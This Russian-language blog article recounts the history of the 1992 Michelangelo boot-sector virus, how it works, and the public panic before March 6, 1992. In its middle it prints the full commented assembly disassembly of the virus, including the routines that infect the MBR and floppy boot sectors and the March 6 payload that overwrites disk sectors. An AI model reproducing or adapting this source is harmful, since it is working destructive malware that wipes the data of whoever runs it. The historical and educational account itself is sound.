Вирусу Микеланджело — 30 лет
Michelangelo — первое вредоносное ПО, которое получило широкую огласку в новостных СМИ. Одним из первых его заметил владелец компьютерного магазина в австралийском Мельбурне. После установки нескольких программ на мониторе появилось большое количество странных символов. Дальнейшее расследование показало, что он невольно загрузил вирус в систему. 6 марта 1992 года вирус активировался, перезаписав данные на жёстком диске компьютеров, которые были заражены.
Исследователи выяснили, что Michelangelo заражал загрузочные сектора гибких дискет и жёстких дисков. Интересно, что весь год DOS-вирус вёл себя пассивно, вредя людям только 6 марта. Если компьютер в этот день был выключен, с ним ничего не происходило. Каждый год в этот день при загрузке инфицированной системы «Микеланджело» записывал произвольные данные в случайном порядке на диск и тем самым выводил компьютер из строя. Поскольку 6 марта — день рождения великого художника эпохи Возрождения Микеланджело, вирус был назван в его честь. Другие его названия: Stoned.March6.a и Stoned.Michelangelo
Никто так и не узнал, кто написал вирус. Предполагается, что он появился где-то на Тайване, но убедительных доказательств этому так и не было. Выяснилось, что Michelangelo уничтожает загрузочные сектора дисков, что, в свою очередь, приводит к уничтожению данных на диске и жёстком диске компьютера.
Принцип работы
«Микеланджело» — вирус загрузочного сектора, разновидность вредоносного ПО, которое заражает загрузочный сектор жёсткого диска или, что более важно, основную загрузочную запись (MBR) жёсткого диска. Вирус был разработан для заражения DOS систем и работал на уровне BIOS. Заразив компьютер AT или PS/2, Michelangelo перезаписывал первые сто секторов жёсткого диска нулями.
Микеланджело был основан на вирусе Stoned , который известен с 1987 года и также известен под названием Marijuana или New Zealand Virus. Код вируса был изменён, чтобы антивирусные программы не могли его распознавать.
При работе с заражённым носителем данных Микеланджело резервирует два килобайта системной памяти по адресу 40h: 13h. Затем код вируса копируется в эту область. При наличии жёсткого диска вирус считывает MBR и проверяет, не заражён ли он. Затем, Микеланджело сравнивает первые 4 байта главного загрузочного сектора с первыми байтами своего собственного кода. Если они не совпадают, вирус пытается заразить устройство.
На жёстких дисках вирус перемещает исходную главную загрузочную запись в цилиндр 0, головку 0, сектор 7.
На гибких дисках, если диск равен 360 КБ, вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 3.
На других дисках вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 14.
Хотя вирус предназначен для заражения DOS-систем, он может легко разрушить другие операционные системы, поскольку заражает главную загрузочную запись жёсткого диска. Как только компьютер заражается любая вставленная дискета, на которую выполняется запись (в 1992 году вирус не мог заразить дискету до тех пор, пока не будет дан доступ к диску), также немедленно заражается. А поскольку вирус проводит большую часть своего времени в спящем состоянии, активируясь только 6 марта, вполне возможно, что заражённый компьютер мог годами оставаться незамеченным — до тех пор, пока не будет включён шестого марта.
Код Michelangelo
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
Истерия в обществе
Поскольку опасность была вовремя обнаружена, «Микеланджело» не вызвал заметных проблем в год своего открытия. Постепенно он распространился по всему миру. Исследования в Европе показали, что вирус в основном распространялся через диски с драйверами для компьютерной техники из Восточной Азии, и по мере приближения 6 марта 1992 года среди владельцев и пользователей компьютеров царила нарастающая истерия.
Это была бомба замедленного действия, которую легко было описать в новостях. И эта история стала идеальным сюжетом для запугивания публики. Принял участие в запугивании публики и Джон Макафи, который заявил в интервью, что сотни тысяч компьютеров по всему миру станут 6 марта жертвами Michelangelo.Совет по борьбе со зловредом был весьма необычным: пользователям рекомендовали не включать компьютер 6 марта или перевести дату сразу на седьмое марта.
Хотя компьютеры в те времена были далеко не у всех, существовал большой спрос на детекторы вирусов и антивирусное ПО. Компьютерные магазины предлагали эти программы бесплатно, как и некоторые вузы. Гамбургский университет насчитал более 20 000 запросов на такие программы за несколько недель до 6 марта 1992 года.
Особенно активно следили за происходящим в Германии и США. Федеральное управление по информационной безопасности (BSI) в период с 17 февраля 1992 г. по 1 марта 1992 г. приняло около 1000 звонков по общим и конкретным вопросам, касающимся компьютерных вирусов и антивирусных программ. Было вынесено официальное предупреждение об угрозе. В феврале 1992 года появилась инструкция по защите от Микеланджело.
До «дня X» Michelangelo поразил 1300 компьютеров в ФРГ, но эксперты считают, что реальное число в 10 раз больше. Никто не знает, сколько ПК пострадало во всем мире. 6 марта 1992 г. утренние новости в Германии сообщили о первых инцидентах с вирусом в Уругвае. Системное время на некоторых военных компьютерах было установлено неправильно, поэтому полезная нагрузка Микеланджело сработала преждевременно. Также известно, что вирус вызвал потерю данных примерно на 1500 компьютерах в Германии. Сообщается, что в Великобритании пострадали 117 ПК. В Соединённых Штатах, где истерия была самой большой, зафиксировано около 7000 жалоб. McAfee сообщила о почти 10 000. В Южной Африке обнаружили около 1000 заражённых компьютеров в аптеках, который получали прейскуранты в электронном виде. Оптовик как обычно отправил им дискеты, которые оказались заражены вирусом.
В целом, панические настроения не оправдались, всё прошло относительно спокойно. Symantec AntiVirus Research Center утверждает, что после 6 марта 1992 года известно всего о двух случаях заражения компьютеров Michelangelo. По другим данным, в Германии зафиксировали 50 инцидентов с вирусом в 1993 году и менее 20 — в 1994 году.
«Микеланджело» не был первым компьютерным вирусом. Но стал первым, кто заставил широкую общественность узнать о хаосе, который могут вызвать вредоносные программы. Это событие стало мощным толчком к зарождению полноценной антивирусной индустрии. Например, компания McAfee привлекла инвестиции в размере 42 млн долларов, а владельцы компьютеров по всему миру бросились скупать антивирусные продукты McAfee.
P.S. Возможно, вы заметили, что в фильме «Хакеры» 1995 фигурирует вирус «Да Винчи» — название явно было отсылкой к Michelangelo.
Что ещё интересного есть в блоге Cloud4Y
→ История Game Genie — чит-устройства, которое всколыхнуло мир
→ Сделайте Linux похожим на Windows 95
→ Как не позволить техническому долгу одолеть вас
→ WD-40: средство, которое может почти всё
→ 30 лучших Python-проектов на GitHub на начало 2022 года
Подписывайтесь на наш Telegram-канал, чтобы не пропустить очередную статью. Пишем только по делу.